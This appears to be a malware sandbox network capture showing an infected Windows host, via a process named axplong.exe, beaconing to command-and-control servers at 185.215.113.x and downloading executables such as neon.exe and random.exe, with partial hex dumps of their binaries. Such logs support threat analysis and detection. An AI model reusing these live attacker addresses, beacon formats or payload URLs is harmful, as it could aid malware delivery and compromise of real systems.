Sep 27, 2024 16:18:51.711157084 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Sep 27, 2024 16:18:51.716878891 CEST	52	OUT	GET /inc/neon.exe HTTP/1.1 Host: 185.215.113.16
Sep 27, 2024 16:18:51.935538054 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:51 GMT Content-Type: application/octet-stream Content-Length: 3643904 Last-Modified: Thu, 26 Sep 2024 19:28:15 GMT Connection: keep-alive ETag: "66f5b5cf-379a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 02 00 80 02 85 16 00 00 00 00 00 00 00 00 f0 00 02 01 0b 02 08 00 00 5c 23 00 00 3c 14 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 40 00 00 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 37 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 40 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 23 00 ac 3a 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd\#< @ 7`@@ #: H.text[# \# `.rsrc:#<^#@@HX"TN-"~PtfL^[1wuBZF!-(E!l\|IIf9HOO_9XBCRn\|kh^rly~`ZB(e_pFjgZ4phHy7P6Q)92y:nFbzW\cl]1w-(6i( Urg@N=q]'d plW!r_Dxq_-<FsQ#ixL+,b"W6h\d0`\>1wlRln(}*hc}
Sep 27, 2024 16:18:51.935558081 CEST	224	IN	Data Raw: 3a dd f7 d6 61 0f fd cb c7 62 a2 12 39 49 85 2c 06 ef 2e 1d 91 f2 c8 50 d2 cd 82 73 7a 6f 87 7c 6a ed 34 4a 85 52 af dd bd 03 9f 8e 4a aa ae 19 22 e7 ba fe bf c9 eb 46 15 a6 04 92 8c 8a 50 58 da 26 a6 4a 14 3b a6 b2 3f 50 5e 8d 53 39 05 28 1f 68 Data Ascii: :ab9I,.Pszo\|j4JRJ"FPX&J;?P^S9(hP4NQ2G$cAoj]s#9RhI%c"+$cjPL5X<r-_sZ_IILg<vf{KUs,j>P[8-9X$uH4$
Sep 27, 2024 16:18:51.935566902 CEST	1236	IN	Data Raw: 58 e3 88 4d c0 1e e1 e0 39 e0 bc 17 28 f2 04 d6 ae 77 99 0e 78 dc e2 d4 4e 40 a7 84 fa 5a 36 4c cd 37 5a 53 a3 eb 3d d4 75 9d ea b6 b8 ef 20 d8 a2 e4 05 bc 57 73 ab 7b 00 b3 fe 7f 76 5c e5 dd aa 6f 49 f0 98 af 32 c2 39 c4 97 da f1 2b 1c 5d 20 cd Data Ascii: XM9(wxN@Z6L7ZS=u Ws{v\oI29+] TyYS]H/?B_{0ye\A{f~#cb\|T}YJ]ok+]nku9rd;aC'V6`zC zzpArG6xIRS*/T
Sep 27, 2024 16:18:51.935579062 CEST	1236	IN	Data Raw: 00 06 00 02 05 28 6a 00 00 06 00 2a 26 02 7b 30 00 00 04 2b 00 2a 22 02 03 7d 30 00 00 04 2a 46 00 02 28 99 00 00 0a 00 02 03 28 6e 00 00 06 00 2a 26 02 7b 31 00 00 04 2b 00 2a 22 02 03 7d 31 00 00 04 2a 26 02 7b 32 00 00 04 2b 00 2a 22 02 03 7d Data Ascii: (j&{0+"}0F((n&{1+"}1&{2+"}2&{3+"}3&{4+"}4~(7s}5s}6:{5o.s:&{>+"}>&{?+"}?&{@+"}@*
Sep 27, 2024 16:18:51.935658932 CEST	1236	IN	Data Raw: 00 20 c0 01 00 00 8d 40 00 00 01 25 d0 6d 00 00 04 28 1c 00 00 0a 80 6e 00 00 04 20 ec 00 00 00 8d 40 00 00 01 25 d0 d0 00 00 04 28 1c 00 00 0a 80 d1 00 00 04 20 1c 02 00 00 8d 40 00 00 01 25 d0 5a 00 00 04 28 1c 00 00 0a 80 5b 00 00 04 2a 00 13 Data Ascii: @%m(n @%( @%Z([0~o$+0~o%+0~o&+0~o'+0~o(+0,
Sep 27, 2024 16:18:51.935672045 CEST	1236	IN	Data Raw: 16 6f 4a 00 00 0a 6f 4c 00 00 0a 16 6f 50 00 00 0a 16 6f 51 00 00 0a 28 52 00 00 0a 13 06 02 7b 0e 00 00 04 6f 49 00 00 0a 16 6f 4a 00 00 0a 6f 4c 00 00 0a 16 6f 50 00 00 0a 17 6f 51 00 00 0a 28 52 00 00 0a 0a 02 7b 0e 00 00 04 6f 49 00 00 0a 16 Data Ascii: oJoLoPoQ(R{oIoJoLoPoQ(R{oIoJoLoPoQ(R{oIoJoLoPoQ(R{oIoJoLoPoQ(Rrwprp(SsT(4r#p%sU
Sep 27, 2024 16:18:51.935683012 CEST	1236	IN	Data Raw: 00 0a 16 6f 4a 00 00 0a 6f 4c 00 00 0a 16 6f 50 00 00 0a 11 34 6f 51 00 00 0a 28 38 00 00 0a 28 5d 00 00 0a 16 fe 01 13 35 11 35 2c 3e 11 0b 02 7b 0f 00 00 04 6f 49 00 00 0a 16 6f 4a 00 00 0a 6f 4c 00 00 0a 16 6f 50 00 00 0a 11 34 6f 51 00 00 0a Data Ascii: oJoLoP4oQ(8(]55,>{oIoJoLoP4oQ(c66,)4(^+444c>\|{rjp(HU(c779J(::(d-;;+:(esf;;(g99,((^)::(
Sep 27, 2024 16:18:51.935694933 CEST	552	IN	Data Raw: 44 1d 72 64 07 00 70 6f 6b 00 00 0a 00 00 00 00 00 00 00 00 11 27 17 d6 13 27 11 27 1f 31 3e 57 f8 ff ff 11 15 6f 6d 00 00 0a 00 2a 00 13 30 08 00 14 0a 00 00 11 00 00 11 00 02 7b 0e 00 00 04 28 45 00 00 0a 72 57 01 00 70 28 46 00 00 0a 6f 47 00 Data Ascii: Drdpok'''1>Wom0{(ErWp(FoG&{*,(={oIoJoLoPoQ(R{oIoJoLoPoQ(R{oIoJoLoPoQ(R{oIo
Sep 27, 2024 16:18:51.935705900 CEST	1236	IN	Data Raw: 05 11 15 74 5b 00 00 01 73 58 00 00 0a 6f 59 00 00 0a 00 11 15 6f 5a 00 00 0a 00 11 13 02 7b 0c 00 00 04 72 3a 07 00 70 6f 5b 00 00 0a 26 02 7b 19 00 00 04 14 72 17 01 00 70 17 8d 06 00 00 01 25 16 02 7b 0c 00 00 04 6f 49 00 00 0a 16 6f 4a 00 00 Data Ascii: t[sXoYoZ{r:po[&{rp%{oIoJ(\{r:po[&--'{oIoJoLoP'oQ(8(]..,r`pr`p((^8E{oIoJoLoP'oQ(R
Sep 27, 2024 16:18:51.935796976 CEST	1236	IN	Data Raw: 39 19 11 0a 6f 6b 00 00 0a 00 11 39 1a 11 27 18 d6 8c 56 00 00 01 6f 6b 00 00 0a 00 11 39 1b 11 29 8c 09 00 00 1b 6f 6b 00 00 0a 00 11 39 1c 11 0c 6f 6b 00 00 0a 00 11 39 1d 11 0d 6f 6b 00 00 0a 00 00 38 f1 02 00 00 00 02 7b 0c 00 00 04 6f 49 00 Data Ascii: 9ok9'Vok9)ok9ok9ok8{oIoJoLoP'oQ(8(]>>9;{oIoJoLoP'oQr`p(l??9(;;(d-<<+;(esf<<(g@@9
Sep 27, 2024 16:18:51.936341047 CEST	1236	IN	Data Raw: 75 00 00 0a 26 73 70 00 00 0a 13 04 11 04 72 e8 07 00 70 6f 71 00 00 0a 00 11 04 72 9e 07 00 70 6f 72 00 00 0a 00 11 04 1f 28 6f 73 00 00 0a 00 06 6f 74 00 00 0a 11 04 6f 75 00 00 0a 26 73 70 00 00 0a 13 07 11 07 72 f0 07 00 70 6f 71 00 00 0a 00 Data Ascii: u&sprpoqrpor(osotou&sprpoqrpor osotou&sprpoqrpor osotou&{rp(Hr$p%%U%%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49645	185.215.113.16	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:18:56.737714052 CEST	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 35 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000356001&unit=246122658369
Sep 27, 2024 16:18:57.437612057 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49648	185.215.113.16	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:18:59.656671047 CEST	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 35 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000357001&unit=246122658369
Sep 27, 2024 16:19:00.648570061 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49649	185.215.113.16	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:19:00.929363012 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 16:19:01.631447077 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 16:19:01.929445028 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 46 41 37 34 33 43 45 46 46 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFFFA743CEFFFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 16:19:02.164364100 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49651	185.215.113.103	80

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:19:02.280292988 CEST	56	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.103
Sep 27, 2024 16:19:03.042504072 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:19:02 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Fri, 27 Sep 2024 14:10:20 GMT ETag: "11d000-6231a6a5cf580" Accept-Ranges: bytes Content-Length: 1167360 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 c4 bc f6 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 20 08 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELf" w@0@@@d\|@ddu4@.text `.rdata@@.datalpH@.rsrcdd@f@@.relocuvZ@B
Sep 27, 2024 16:19:03.042553902 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 e8 83 f0 01 00 59 c3 e8 e6 de 01 00 68 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$D
Sep 27, 2024 16:19:03.042582035 CEST	1236	IN	Data Raw: c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 83 b8 98 fb ff ff 00 75 ce ff 15 6c c8 Data Ascii: F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItvL@I
Sep 27, 2024 16:19:03.043023109 CEST	1236	IN	Data Raw: 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c 8b 4e 04 8b 79 38 85 c9 74 06 51 e8 10 Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M
Sep 27, 2024 16:19:03.043036938 CEST	1236	IN	Data Raw: 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 45 f8 01 00 00 00 51 8d 4d f8 51 50 8b Data Ascii: G[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3}du
Sep 27, 2024 16:19:03.043987989 CEST	1236	IN	Data Raw: 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91 33 db 66 39 58 08 0f 84 27 01 00 00 8b Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]]EC}
Sep 27, 2024 16:19:03.043999910 CEST	1236	IN	Data Raw: 6a 08 50 8b 70 04 e8 c8 d5 01 00 59 59 89 77 04 88 5f 09 ff 0f 5f 5e 5b c3 b3 01 eb f3 55 8b ec 56 8b f1 80 7e 09 00 0f 85 5f 02 04 00 6a 08 e8 ad d5 01 00 59 8b 4d 08 8b 09 89 08 8b 4e 04 89 48 04 89 46 04 ff 06 5e 5d c2 04 00 55 8b ec 51 53 56 Data Ascii: jPpYYw__^[UV~_jYMNHF^]UQSV3W8^?8^u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWOFGFG
Sep 27, 2024 16:19:03.045073986 CEST	1236	IN	Data Raw: 00 ff d6 5f 5e c3 55 8b ec 83 ec 40 a1 58 13 4d 00 56 33 f6 a3 04 19 4d 00 6a 0f c7 45 c4 30 00 00 00 c7 45 c8 2b 00 00 00 89 75 d0 c7 45 d4 1e 00 00 00 89 45 d8 89 75 e0 ff 15 3c c7 49 00 89 45 e4 8b 45 10 89 45 f0 8b 45 0c 89 45 dc 8d 45 c4 50 Data Ascii: _^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVWh
Sep 27, 2024 16:19:03.045084953 CEST	1236	IN	Data Raw: 03 00 48 83 e8 01 0f 84 ba fc 03 00 2d ff 01 00 00 0f 84 94 fc 03 00 2d ef 00 00 00 0f 84 8f 00 00 00 3b 3d 28 25 4d 00 0f 84 58 fc 03 00 ff 75 0c ff 75 08 57 56 ff 15 08 c7 49 00 5f 5e 5b 8b e5 5d c3 85 c0 74 9e eb e5 0f 84 0a fc 03 00 8b c7 83 Data Ascii: H--;=(%MXuuWVI_^[]tt%jVIM73jhjV$IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jPE
Sep 27, 2024 16:19:03.046156883 CEST	1236	IN	Data Raw: 00 01 01 01 01 68 58 cb 49 00 89 1d 90 19 4d 00 66 89 1d 98 19 4d 00 c6 05 9a 19 4d 00 01 c7 05 9c 19 4d 00 09 00 00 00 89 1d a8 19 4d 00 e8 0a 66 00 00 68 3c cb 49 00 b9 bc 19 4d 00 e8 fb 65 00 00 b9 cc 19 4d 00 e8 9f 72 00 00 b9 dc 19 4d 00 e8 Data Ascii: hXIMfMMMMfh<IMeMrMrMrM4MMMMMMMMj_MMMMMMMMM M$M0Mrud#MM_^f
Sep 27, 2024 16:19:03.047663927 CEST	1236	IN	Data Raw: 8b 45 0c 57 8d 3c 00 8d 45 fc 89 7d fc 50 56 53 53 ff 75 08 ff 75 f8 ff 15 20 c0 49 00 85 c0 75 15 8b 45 fc d1 e8 89 45 fc 3b 45 0c 73 18 33 c9 66 89 0c 46 b3 01 ff 75 f8 ff 15 1c c0 49 00 8a c3 5f 5e 5b c9 c3 33 c0 66 89 44 37 fe eb e5 32 c0 eb Data Ascii: EW<E}PVSSuu IuEE;Es3fFuI_^[3fD72V\|M]8MW3=MZ=@M M@I95(Mv"$Mj4$MYY<F;5(Mr5$M=(MYMM<I5MYMO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49652	185.215.113.16	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:19:02.443056107 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 16:19:03.105745077 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 16:19:03.174993038 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 46 41 37 34 33 43 45 46 46 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFFFA743CEFFFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 16:19:03.471755981 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49653	185.215.113.26	80

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:19:02.658113003 CEST	155	OUT	POST /Dem7kTu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.26 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 16:19:03.466716051 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 16:19:03.559356928 CEST	313	OUT	POST /Dem7kTu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.26 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 41 43 42 32 32 30 37 32 34 39 42 38 43 43 38 32 43 30 34 38 46 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 37 34 46 43 41 46 39 31 36 41 36 44 43 45 41 46 34 41 33 38 32 33 39 43 46 30 39 30 33 30 33 30 33 35 39 38 38 39 42 34 36 44 41 30 44 36 43 36 34 39 41 42 30 30 38 32 46 44 30 32 41 44 38 43 37 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7ACB2207249B8CC82C048FBD66259586F0F21EA74869AC58983B574FCAF916A6DCEAF4A38239CF0903030359889B46DA0D6C649AB0082FD02AD8C7
Sep 27, 2024 16:19:03.816349030 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49656	185.215.113.16	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:19:03.761001110 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 16:19:04.496052027 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 16:19:04.579592943 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 46 41 37 34 33 43 45 46 46 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFFFA743CEFFFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 16:19:04.835297108 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49657	185.215.113.16	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:19:05.144244909 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 16:19:05.845431089 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
